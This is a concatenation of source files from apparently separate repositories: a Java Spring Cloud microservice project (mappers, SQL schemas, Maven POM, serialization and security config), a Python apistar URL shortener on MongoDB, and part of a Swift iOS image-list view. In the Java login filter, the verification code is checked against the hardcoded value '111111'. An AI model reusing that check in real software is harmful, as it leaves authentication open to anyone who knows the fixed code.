public String desc() {
return this.column + " DESC";
}
public String asc() {
return this.column + " ASC";
}
}
}<file_sep>package com.cloud.mvc.example.business.user.dao;
import com.cloud.mvc.example.business.common.supers.BaseMapper;
import com.cloud.mvc.example.business.user.entity.UserAddress;
import com.cloud.mvc.example.business.user.entity.UserAddressExample;
import java.util.List;
import org.apache.ibatis.annotations.Param;
/**
* Created by Mybatis Generator on 2018/12/26
*/
public interface UserAddressMapper extends BaseMapper<UserAddress, UserAddressExample> {
}<file_sep>db.username=root
db.password=<PASSWORD>
db.url=jdbc:mysql://192.168.204.10:3306/system?useUnicode=true&characterEncoding=utf8&autoReconnect=true&failOverReadOnly=false&useSSL=false
modelPackageName=com.cloud.mvc.example.business.system.entity
xmlLocation=/mapper
daoPackageName=com.cloud.mvc.example.business.system.dao
dbName=system
tableName=dict
<file_sep>package com.example.mvc.example.sharding.sharding;
import lombok.Data;
import javax.persistence.*;
import java.time.LocalDateTime;
@Entity
@Table(name = "t_order")
@Data
public class Order {
@Id
@GeneratedValue(strategy= GenerationType.IDENTITY)
@Column(name = "ID", unique = true, nullable = false, length = 20)
private Long id;
@Column(name = "name")
private String name;
@Column(name = "create_date")
private LocalDateTime createDate;
}
<file_sep># global springcloud服务
## 网关:spring cloud Gateway
## 注册中心:Eureka
## 认证:spring-security-oauth2
## 配置中心:携程Apollo
## 微服务监控:spring-cloud-admin
## 链路追踪:美团CAT
## 熔断器:hystrix
## 熔断可视化:hystrix-ui
## 数据库:Mysql+redis+rabbitmq
## 部署:docker
## 分布式定时任务:elastic-job
## 分布式事务:transaction 自实现
## 长连接:websocket和long polling
## 代码生成:mybatis-generator并且进行拓展
## 服务基础:springboot+mybatis
<file_sep>/*
Navicat MySQL Data Transfer
Source Server : 本地
Source Server Version : 50724
Source Host : 192.168.204.10:3306
Source Database : message
Target Server Type : MYSQL
Target Server Version : 50724
File Encoding : 65001
Date: 2019-02-13 15:53:44
*/
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for message_send_record
-- ----------------------------
DROP TABLE IF EXISTS `message_send_record`;
CREATE TABLE `message_send_record` (
`id` bigint(20) NOT NULL,
`user_id` bigint(20) DEFAULT NULL,
`send_date` datetime DEFAULT NULL,
`mobile` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of message_send_record
-- ----------------------------
<file_sep>package com.cloud.mvc.example.business.system.service.impl;
import com.cloud.mvc.example.business.system.SystemApplication;
import com.cloud.mvc.example.business.system.service.DictService;
import org.assertj.core.util.Lists;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import static org.junit.Assert.*;
@RunWith(SpringRunner.class)
@SpringBootTest(classes = SystemApplication.class, webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class DictServiceImplTest {
@Autowired
DictService service;
@Test
public void getBeanByIds() {
}
}<file_sep>package com.cloud.mvc.example.utils.mapper;
import ma.glasnost.orika.MapperFacade;
import ma.glasnost.orika.impl.DefaultMapperFactory;
import java.util.List;
public class BeanMapper {
private static final MapperFacade INSTANCE = new DefaultMapperFactory.Builder()
.build().getMapperFacade();
public static <T> T map(Object source, Class<T> clazz){
return INSTANCE.map(source, clazz);
}
public static <E> List<E> mapList(List objects, Class<E> clazz){
return INSTANCE.mapAsList(objects, clazz);
}
}
<file_sep>/*
Navicat MySQL Data Transfer
Source Server : 本地
Source Server Version : 50724
Source Host : 192.168.204.10:3306
Source Database : user
Target Server Type : MYSQL
Target Server Version : 50724
File Encoding : 65001
Date: 2018-12-13 19:02:56
*/
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for user_info
-- ----------------------------
DROP TABLE IF EXISTS `user_info`;
CREATE TABLE `user_info` (
`id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键',
`user_account_id` bigint(20) NOT NULL COMMENT '账户id',
`real_name` varchar(255) DEFAULT NULL COMMENT '真是姓名',
`register_date` datetime NOT NULL COMMENT '注册日期',
`last_login_date` datetime DEFAULT NULL COMMENT '上次登录日期',
`last_login_ip` varchar(255) DEFAULT NULL COMMENT '上次登录ip',
`status` int(2) DEFAULT NULL COMMENT '状态',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户信息表';
<file_sep><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>global</artifactId>
<groupId>com.cloud.mvc.example</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>databus</artifactId>
<packaging>pom</packaging>
<modules>
<module>relay</module>
<module>client</module>
</modules>
<dependencies>
<!--<dependency>-->
<!--<groupId>com.linkedin.databus</groupId>-->
<!--<artifactId>databus-core-schemas</artifactId>-->
<!--<version>2.0.0.fk.001</version>-->
<!--</dependency>-->
<!--<dependency>-->
<!--<groupId>com.linkedin.databus</groupId>-->
<!--<artifactId>databus-core-impl</artifactId>-->
<!--<version>2.0.0.fk.001</version>-->
<!--</dependency>-->
<!--<dependency>-->
<!--<groupId>com.linkedin.databus</groupId>-->
<!--<artifactId>databus-util-cmdline-impl</artifactId>-->
<!--<version>2.0.0.fk.001</version>-->
<!--</dependency>-->
<!--<dependency>-->
<!--<groupId>com.linkedin.databus</groupId>-->
<!--<artifactId>databus-core-container</artifactId>-->
<!--<version>2.0.0.fk.001</version>-->
<!--</dependency>-->
<!--<dependency>-->
<!--<groupId>com.linkedin.databus</groupId>-->
<!--<artifactId>databus2-relay-impl</artifactId>-->
<!--<version>2.0.0.fk.001</version>-->
<!--</dependency>-->
<dependency>
<groupId>commons-cli</groupId>
<artifactId>commons-cli</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>1.4</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.apache.avro</groupId>
<artifactId>avro</artifactId>
<version>1.4.0</version>
</dependency>
<dependency>
<groupId>org.codehaus.jackson</groupId>
<artifactId>jackson-core-asl</artifactId>
<version>1.8.5</version>
</dependency>
<dependency>
<groupId>org.codehaus.jackson</groupId>
<artifactId>jackson-mapper-asl</artifactId>
<version>1.8.5</version>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.jboss.netty</groupId>
<artifactId>netty</artifactId>
<version>3.2.4.Final</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.6.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.avro</groupId>
<artifactId>avro</artifactId>
<version>1.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.avro</groupId>
<artifactId>avro-tools</artifactId>
<version>1.8.1</version>
</dependency>
<!--<dependency>-->
<!--<groupId>com.oracle.ojdbc6</groupId>-->
<!--<artifactId>ojdbc6</artifactId>-->
<!--<version>192.168.127.12.0</version>-->
<!--</dependency>-->
<!--<dependency>-->
<!--<groupId>com.google</groupId>-->
<!--<artifactId>open-replicator</artifactId>-->
<!--<version>1.0.7</version>-->
<!--</dependency>-->
<!--<dependency>-->
<!--<groupId>net.sf.josql</groupId>-->
<!--<artifactId>gentlyweb-utils</artifactId>-->
<!--<version>1.5</version>-->
<!--</dependency>-->
<!--<dependency>-->
<!--<groupId>net.sf.josql</groupId>-->
<!--<artifactId>josql</artifactId>-->
<!--<version>1.0.5</version>-->
<!--</dependency>-->
</dependencies>
<repositories>
<repository>
<id>clojars</id>
<url>http://clojars.org/repo/</url>
</repository>
</repositories>
</project><file_sep>package com.cloud.mvc.example.business.system.service;
import com.cloud.mvc.example.business.common.supers.BaseService;
import com.cloud.mvc.example.business.domain.dto.user.RoleDto;
import com.cloud.mvc.example.business.system.entity.Role;
import com.cloud.mvc.example.business.system.entity.RoleExample;
import java.util.List;
public interface RoleService extends BaseService<Role, RoleExample> {
RoleDto findRoleByName(String name);
List<RoleDto> findRolesByName(String name);
}
<file_sep>package com.cloud.mvc.example.business.common.interceptor;
import com.google.common.base.Strings;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
public abstract class UriWebFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
boolean b = Strings.isNullOrEmpty(url());
boolean a = exchange.getRequest().getURI().getPath().startsWith(url());
if(!b && a){
return interceptor(exchange, chain);
}else{
return chain.filter(exchange);
}
}
abstract Mono<Void> interceptor(ServerWebExchange exchange, WebFilterChain chain);
protected String url() {
return "";
}
}
<file_sep>db.username=root
db.password=<PASSWORD>
db.url=jdbc:mysql://192.168.204.10:3306/system?useUnicode=true&characterEncoding=utf8&autoReconnect=true&failOverReadOnly=false&useSSL=false
modelPackageName=com.cloud.mvc.example.business.system.entity
dtoPackageName=com.cloud.mvc.example.business.system.dto
dtoOutPath=E:\\github\\global\\business\\system\\src\\main\\java\\com\\cloud\\mvc\\example\\business\\system\\dto
voPackageName=com.cloud.mvc.example.business.system.vo
voOutPath=E:\\github\\global\\business\\system\\src\\main\\java\\com\\cloud\\mvc\\example\\business\\system\\vo
servicePackageName=com.cloud.mvc.example.business.system.service
serviceOutPath=E:\\github\\global\\business\\system\\src\\main\\java\\com\\cloud\\mvc\\example\\business\\system\\service
xmlLocation=/mapper
daoPackageName=com.cloud.mvc.example.business.system.dao
dbName=system
tableName=role
<file_sep>package com.example.mvc.example.sharding.sharding.processors;
import io.netty.bootstrap.ServerBootstrap;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.util.CharsetUtil;
public class Main {
public static void main(String[] args) throws InterruptedException {
EventLoopGroup group = new NioEventLoopGroup();
EventLoopGroup work = new NioEventLoopGroup();
ServerBootstrap server = new ServerBootstrap();
server.group(group, work)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>(){
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
socketChannel
.pipeline()
.addLast(new ChannelInboundHandlerAdapter(){
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
ByteBuf in = (ByteBuf)msg;
System.out.print(in.toString(CharsetUtil.UTF_8));
}
} );
}
})
;
server.bind(8080)
.sync()
.channel()
.closeFuture()
.sync();
}
}
<file_sep>package com.cloud.mvc.example.business.user;
import com.cloud.mvc.example.business.common.AbstractSpringApplication;
import org.springframework.boot.WebApplicationType;
import org.springframework.boot.builder.SpringApplicationBuilder;
public class UserApplication extends AbstractSpringApplication {
public static void main(String[] args) {
new SpringApplicationBuilder(UserApplication.class)
.web(WebApplicationType.SERVLET)
.run(args);
}
}
<file_sep>app.id=message
<file_sep>package com.example.mvc.example.sharding.sharding.leecode;
import org.springframework.context.support.FileSystemXmlApplicationContext;
public class Main {
public static void main(String[] args) {
FileSystemXmlApplicationContext context = new FileSystemXmlApplicationContext();
context.setConfigLocation("classpath:application.xml");
context.start();
}
}
<file_sep>package com.cloud.mvc.example.business.common.config.format;
import com.alibaba.fastjson.serializer.JSONSerializer;
import com.alibaba.fastjson.serializer.ObjectSerializer;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.SerializeWriter;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.io.IOException;
import java.lang.reflect.Type;
import java.math.BigDecimal;
@Configuration
public class FastJsonConfiguration {
@Bean
public BigDecimalSerialize bigDecimalSerializeFilter(){
BigDecimalSerialize bigDecimalSerialize = new BigDecimalSerialize();
SerializeConfig.getGlobalInstance() //
.put(BigDecimal.class,bigDecimalSerialize);
return bigDecimalSerialize;
}
public static class BigDecimalSerialize implements ObjectSerializer {
@Override
public void write(JSONSerializer serializer, Object object, Object fieldName, Type fieldType, int features) throws IOException {
final SerializeWriter out = serializer.out;
BigDecimal bigDecimal = (BigDecimal) object;
out.write(bigDecimal.stripTrailingZeros().toPlainString());
}
}
}
<file_sep>/*
Navicat MySQL Data Transfer
Source Server : 本地
Source Server Version : 50724
Source Host : 192.168.204.10:3306
Source Database : user
Target Server Type : MYSQL
Target Server Version : 50724
File Encoding : 65001
Date: 2018-12-13 19:02:48
*/
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for user_address
-- ----------------------------
DROP TABLE IF EXISTS `user_address`;
CREATE TABLE `user_address` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`user_account_id` bigint(20) NOT NULL,
`country` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户地址表';
<file_sep>package com.cloud.mvc.example.business.common;
import com.cloud.mvc.example.business.common.config.feign.FeignScanConfiguration;
import com.cloud.mvc.example.business.common.config.mybatis.TransactionConfiguration;
//import com.ctrip.framework.apollo.spring.annotation.EnableApolloConfig;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.client.discovery.EnableDiscoveryClient;
import org.springframework.cloud.netflix.hystrix.EnableHystrix;
import org.springframework.cloud.netflix.hystrix.dashboard.EnableHystrixDashboard;
import org.springframework.cloud.netflix.turbine.EnableTurbine;
import org.springframework.context.annotation.Import;
@SpringBootApplication(scanBasePackages = {"com.cloud.mvc.example.business.**", "com.cloud.mvc.example.common.service.**"})
@EnableDiscoveryClient
@Import({
FeignScanConfiguration.class,
TransactionConfiguration.class,
})
@EnableHystrixDashboard
//@EnableApolloConfig
@EnableHystrix
public abstract class AbstractSpringApplication {
}
<file_sep>package com.cloud.mvc.example.business.common.config.format;
import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.*;
import com.fasterxml.jackson.databind.module.SimpleModule;
import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule;
import com.fasterxml.jackson.datatype.jsr310.ser.LocalDateSerializer;
import com.fasterxml.jackson.datatype.jsr310.ser.LocalDateTimeSerializer;
import com.fasterxml.jackson.datatype.jsr310.ser.LocalTimeSerializer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.io.IOException;
import java.math.BigDecimal;
import java.text.SimpleDateFormat;
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.time.LocalTime;
import java.time.format.DateTimeFormatter;
import java.util.TimeZone;
@Configuration
public class JacksonFormatConfig {
@Bean
public ObjectMapper getObjectMapper() {
ObjectMapper om = new ObjectMapper();
JavaTimeModule javaTimeModule = new JavaTimeModule();
javaTimeModule.addSerializer(LocalDateTime.class, new LocalDateTimeSerializer(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")));
javaTimeModule.addSerializer(LocalDate.class, new LocalDateSerializer(DateTimeFormatter.ofPattern("yyyy-MM-dd")));
javaTimeModule.addSerializer(LocalTime.class, new LocalTimeSerializer(DateTimeFormatter.ofPattern("HH:mm:ss")));
om.registerModule(javaTimeModule);
om.setDateFormat(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"));
om.setTimeZone(TimeZone.getDefault());
om.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
om.configure(JsonGenerator.Feature.WRITE_NUMBERS_AS_STRINGS, false);
om.configure(JsonGenerator.Feature.QUOTE_NON_NUMERIC_NUMBERS, false);
om.configure(JsonGenerator.Feature.WRITE_BIGDECIMAL_AS_PLAIN, true);
//转换BigDecimal 科学计算法展示
final SimpleModule bigDecimalModule = new SimpleModule();
bigDecimalModule.addSerializer(BigDecimal.class, new BigDecimalSerializer());
om.registerModule(bigDecimalModule);
//忽略掉不存在的字段
om.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
return om;
}
public static class BigDecimalSerializer extends JsonSerializer<BigDecimal> {
@Override
public void serialize(BigDecimal value, JsonGenerator gen, SerializerProvider serializers) throws IOException, JsonProcessingException {
gen.writeString(value.stripTrailingZeros().toPlainString());
}
}
}
<file_sep>package com.cloud.mvc.example.business.common.config.feign;
import feign.Retryer;
import feign.auth.BasicAuthRequestInterceptor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.security.SecurityProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class FeignConfiguration {
@Autowired
SecurityProperties properties;
@Bean
public BasicAuthRequestInterceptor feignBasicAuthRequestInterceptor(){
return new BasicAuthRequestInterceptor(properties.getUser().getName(), properties.getUser().getPassword());
}
@Bean
public Retryer retryer(){
return Retryer.NEVER_RETRY;
}
}
<file_sep>package com.cloud.mvc.example.business.domain.constants;
public interface PageConstants {
String page = "page";
String limit = "limit";
Integer defaultLimit = 10;
Integer defaultPage = 1;
}
<file_sep>package com.cloud.mvc.example.business.common.config.security.filters;
import com.cloud.mvc.example.business.common.config.security.beans.UserLoginDto;
import javax.servlet.http.HttpServletRequest;
/**
* 验证用户的登录信息接口
* 当添加别的验证时只需要实现改接口并且配置即可
* @see FiltersConfig
*/
@FunctionalInterface
public interface UserLoginFilter {
void validate(UserLoginDto dto, HttpServletRequest request);
}
<file_sep>package com.cloud.mvc.example.business.system;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import java.util.stream.Collectors;
public class Reader {
public static void main(String[] args) throws Exception {
List<String> list = Files.readAllLines(Paths.get("E:\\github\\global\\business\\system\\src\\test\\java\\com\\cloud\\mvc\\example\\business\\system\\aaa.txt"));
List<String> list1 = Files.readAllLines(Paths.get("E:\\github\\global\\business\\system\\src\\test\\java\\com\\cloud\\mvc\\example\\business\\system\\bbb.txt"));
String sql = list.stream().map(a -> {
String number = a.substring(a.indexOf("=") + 1, a.indexOf(","));
// System.out.println(number);
return number;
}).filter(t -> {
return !list1.contains(t);
})
.collect(Collectors.joining(","));
System.out.println(sql);
}
}
<file_sep>//package com.cloud.mvc.example.basic.gateway.security;
//
//import lombok.extern.slf4j.Slf4j;
//import org.springframework.security.access.AccessDeniedException;
//import org.springframework.security.oauth2.provider.error.OAuth2AccessDeniedHandler;
//import org.springframework.stereotype.Component;
//
//import javax.servlet.ServletException;
//import javax.servlet.http.HttpServletRequest;
//import javax.servlet.http.HttpServletResponse;
//import java.io.IOException;
//import java.io.PrintWriter;
//
///**
// * 授权拒绝处理器,覆盖默认的OAuth2AccessDeniedHandler 包装失败信息到DeniedException
// *
// */
//@Slf4j
//@Component
//public class AccessDeniedHandler extends OAuth2AccessDeniedHandler {
//
// @Override
// public void handle(HttpServletRequest request, HttpServletResponse response,
// AccessDeniedException authException) throws IOException, ServletException {
// log.info("授权失败,禁止访问 {}", request.getRequestURI());
// response.setCharacterEncoding("UTF-8");
// response.setContentType("UTF-8");
// PrintWriter printWriter = response.getWriter();
// printWriter.append("授权失败,禁止访问");
// }
//}
<file_sep>app.id=user
<file_sep>package com.cloud.mvc.example.business.domain.dto.user;
import com.cloud.mvc.example.business.domain.dto.BaseDto;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Data
@AllArgsConstructor
@NoArgsConstructor
public class RoleDto extends BaseDto {
private String name;
}
<file_sep>import java.util.concurrent.atomic.AtomicLong;
import java.util.concurrent.atomic.LongAdder;
public class LongTest {
public static void main(String[] args) {
AtomicLong atomicLong = new AtomicLong(1);
LongAdder adder = new LongAdder();
}
}
<file_sep>package com.cloud.mvc.example.business.common.config.security.handlers;
import com.cloud.mvc.example.business.common.config.message.Resp;
import com.cloud.mvc.example.business.common.utils.ResponseUtils;
import com.google.gson.Gson;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.authentication.DisabledException;
import org.springframework.security.authentication.LockedException;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.web.authentication.AuthenticationFailureHandler;
import org.springframework.stereotype.Component;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import static com.cloud.mvc.example.business.common.config.message.CommonCodeAndMessage.*;
@Component
@SuppressWarnings("all")
public class LoginFailedHandler implements AuthenticationFailureHandler {
private static final Logger logger = LoggerFactory.getLogger(LoginFailedHandler.class);
@Override
public void onAuthenticationFailure(HttpServletRequest request, HttpServletResponse response, AuthenticationException exception) throws IOException, ServletException {
if (exception instanceof UsernameNotFoundException){
ResponseUtils.write(response, new Gson().toJson(Resp.error(USER_NAME_NOT_FOUND, request)));
return;
}
if (exception instanceof BadCredentialsException){
ResponseUtils.write(response, new Gson().toJson(Resp.error(BAD_CREDENTIALS_ERROR, request)));
return;
}
//LockedException
if (exception instanceof LockedException){
ResponseUtils.write(response, new Gson().toJson(Resp.error(USER_ALREADY_LOCK, request)));
return;
}
//DisabledException
if (exception instanceof DisabledException){
ResponseUtils.write(response, new Gson().toJson(Resp.error(USER_ALREADY_DISABLE, request)));
return;
}
ResponseUtils.write(response, new Gson().toJson(Resp.error(USER_LOGIN_FAILED, request)));
return;
}
}
<file_sep>package com.cloud.mvc.example.business.common.supers;
import com.cloud.mvc.example.business.common.config.message.PageInfo;
import com.cloud.mvc.example.business.common.session.SessionUtils;
import org.springframework.beans.factory.annotation.Autowired;
import java.time.LocalDateTime;
import java.util.List;
public abstract class AbstractBaseService<A extends BaseEntity, B> implements BaseService<A, B> {
@Autowired
protected BaseMapper<A, B> mapper;
@Override
public int deleteByPrimaryKey(Long id) {
return mapper.deleteByPrimaryKey(id);
}
@Override
public int insert(A record) {
record.setCreateDate(LocalDateTime.now());
record.setCreateUserId(SessionUtils.getCurrentUserId());
return mapper.insert(record);
}
@Override
public int insertSelective(A record) {
record.setCreateDate(LocalDateTime.now());
record.setCreateUserId(SessionUtils.getCurrentUserId());
return mapper.insertSelective(record);
}
@Override
public A selectByPrimaryKey(Long id) {
return mapper.selectByPrimaryKey(id);
}
@Override
public int updateByPrimaryKeySelective(A record) {
record.setModifyDate(LocalDateTime.now());
record.setModifyUserId(SessionUtils.getCurrentUserId());
return mapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(A record) {
record.setModifyDate(LocalDateTime.now());
record.setModifyUserId(SessionUtils.getCurrentUserId());
return mapper.updateByPrimaryKey(record);
}
@Override
public PageInfo paging(B countExample, B listExample) {
Long count = mapper.countByExample(countExample);
if(count < 1) return PageInfo.EMPTY;
List<A> data = mapper.selectByExample(listExample);
return PageInfo.create(count, data);
}
}
<file_sep>package com.cloud.mvc.example.business.message.web;
import com.cloud.mvc.example.business.common.config.message.Resp;
import com.cloud.mvc.example.business.message.service.MessageSendRecordService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/open/message")
public class MessageSendRecordController {
@Autowired
MessageSendRecordService sendRecordService;
@GetMapping
public Resp get(){
return Resp.success(sendRecordService.all());
}
}
<file_sep>package com.cloud.mvc.example.business.common.config.mybatis;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.annotation.EnableTransactionManagement;
@EnableTransactionManagement
@Configuration
public class TransactionConfiguration {
}
<file_sep>package com.cloud.mvc.example.business.common.config.security.filters;
import com.cloud.mvc.example.business.common.config.message.Resp;
import com.cloud.mvc.example.business.domain.exceptions.user.LoginException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.annotation.Order;
import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean;
import java.util.Optional;
import static com.cloud.mvc.example.business.common.config.message.CommonCodeAndMessage.LOGIN_INFO_NULL;
import static com.cloud.mvc.example.business.common.config.message.CommonCodeAndMessage.VERIFY_CODE_ERROR;
/**
* 验证用户的登录信息配置类
*/
@Configuration
public class FiltersConfig {
private static final Logger logger = LoggerFactory.getLogger(FiltersConfig.class);
@Autowired
LocalValidatorFactoryBean localValidatorFactoryBean;
/**
* 验证用户的验证码
* @return
*/
@Bean
@Order(2)
public UserLoginFilter verifyCodeFilter(){
return (t, h) -> {
if(!t.getCode().equals("111111")){
LoginException.instance(Resp.error(VERIFY_CODE_ERROR, h).getMessage()).doThrow();
}
};
}
@Bean
@Order(1)
public UserLoginFilter simpleVerifyFilter(){
return (t, h) -> {
localValidatorFactoryBean.getValidator()
.validate(t)
.stream()
.findFirst()
.ifPresent(a -> LoginException.instance(a.getMessage()).doThrow());
};
}
@Bean
@Order(0)
public UserLoginFilter nullCheck(){
return (t, h) -> {
Optional.ofNullable(t)
.orElseThrow(() -> LoginException.instance(Resp.error(LOGIN_INFO_NULL, h).getMessage()));
};
}
}
<file_sep>dev.meta=http://cloud.config.com:8080
fat.meta=http://apollo.fat.xxx.com
uat.meta=http://apollo.uat.xxx.com
pro.meta=http://apollo.xxx.com
|
2ae72191ecefdd996bdd0d876d622d4fed6557a3
|
[
"SQL",
"Markdown",
"Maven POM",
"INI",
"Java"
] | 59 |
Java
|
JaMbarek/global
|
fb390f1ee73b30ad8faefb0c4149c402a404d92c
|
3d5aea78bb8cae27476fb00e6f8e85bf4ba4fd74
|
refs/heads/master
|
<repo_name>marcosfede/url-shortener-microservice<file_sep>/project/routes.py
from apistar import Include, Route
from apistar.docs import docs_routes
from apistar.statics import static_routes
from project.views import new, redirect
routes = [
Route('/{short_url}/', 'GET', redirect),
Route('/new/http://www.{url}.com/', 'GET', new),
Route('/new/https://www.{url}.com/', 'GET', new),
Include('/docs', docs_routes),
Include('/static', static_routes)
]
<file_sep>/project/initdb.py
from .db import db
db.counters.insert({
"_id": "userid",
"seq": 0
})
db.urls.create_index([("url", 1)], unique=True)
<file_sep>/project/views.py
from apistar import http, Response
from project.encoder import encoder
from project.db import urls, get_next_sequence
base_url = "https://afternoon-lowlands-76627.herokuapp.com/"
def new(url):
match = urls.find_one({'url': url})
if match is not None:
url_id = match['_id']
else:
url_id = urls.insert_one({
'_id': get_next_sequence("userid"),
'url': url
}).inserted_id
return {
"original_url": url,
"short_url": base_url + encoder.encode(int(url_id))
}
def redirect(short_url) -> Response:
mongo_id = encoder.decode(short_url)
long_url = urls.find_one({'_id': mongo_id})
if long_url is not None:
headers = {'Location': 'http://' + long_url['url'] + '.com'}
return Response(None, status=302, headers=headers)
resp = {
"error": "This url is not on the database."
}
return Response(resp, status=404)
<file_sep>/project/db.py
from pymongo import MongoClient
from pymongo.errors import DuplicateKeyError
from os import environ
client = MongoClient(f"mongodb://{environ.get('MONGOUSR')}:{environ.get('MONGOPWD')}<EMAIL>:57571/urls_db")
db = client.urls_db
urls = db.urls
def get_next_sequence(name):
ret = db.counters.find_and_modify(
{'_id': name}, update={'$inc': {'seq': 1}}, new=True)
return ret['seq']
|
0a20b446fcd90d57057336c9c4652c050b4a8b5a
|
[
"Python"
] | 4 |
Python
|
marcosfede/url-shortener-microservice
|
59ba2752ed1012187d0c84d6e6b9b834defd887b
|
9d9c074ac0f1ef82b8b73429d3425d90af06c2fc
|
refs/heads/master
|
<file_sep>//
// ViewController.swift
// UglyStuff
//
// Created by dev on 1/13/16.
// Copyright © 2016 <NAME>. All rights reserved.
//
import UIKit
class ViewController: UIViewController, UITableViewDataSource, UITableViewDelegate {
@IBOutlet weak var tableView: UITableView!
var uglyStuff = ["http://i.telegraph.co.uk/multimedia/archive/01650/ugly-dog460_1650068c.jpg", "http://www.chilloutpoint.com/images/2010/05/top-ugliest-dogs/ugliest-dog-in-the-world-13.jpg", "http://blog.newscom.com/wp-content/uploads/2011/06/spnphotos213955-WH160805A_01028.jpg", "http://usvsth3m.com/wp-content/uploads/2014/06/M8pI1Mv.jpg", "http://www.gannett-cdn.com/-mm-/f0e712eaade042e30646153ce60abe639838394e/c=10-0-581-428&r=x404&c=534x401/local/-/media/Phoenix/Phoenix/2014/06/20/1403283857000-photo-4.JPG", "http://media.kansascity.com/static/django-media/kc_contact//uploaded/2011/ugly-dogs/winner_2008.jpg", "http://cdn3-www.webecoist.momtastic.com/assets/uploads/2010/06/ugliest_animals_EP.jpg"]
var uglyTitles = ["Fork he's ugly", "Holy! Someone shoot that thing", "Please god kill that thing", "Put that thing down", "Kill that beast"]
override func viewDidLoad() {
super.viewDidLoad()
tableView.delegate = self
tableView.dataSource = self
}
func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
if let cell = tableView.dequeueReusableCellWithIdentifier("UglyCell") as? UglyCell {
var img: UIImage!
let url = NSURL(string: uglyStuff[indexPath.row])!
if let data = NSData(contentsOfURL: url) {
img = UIImage(data: data)
} else {
img = UIImage(named: "dog")
}
cell.configureCell(img, text: uglyTitles[indexPath.row])
return cell
}else {
return UglyCell()
}
}
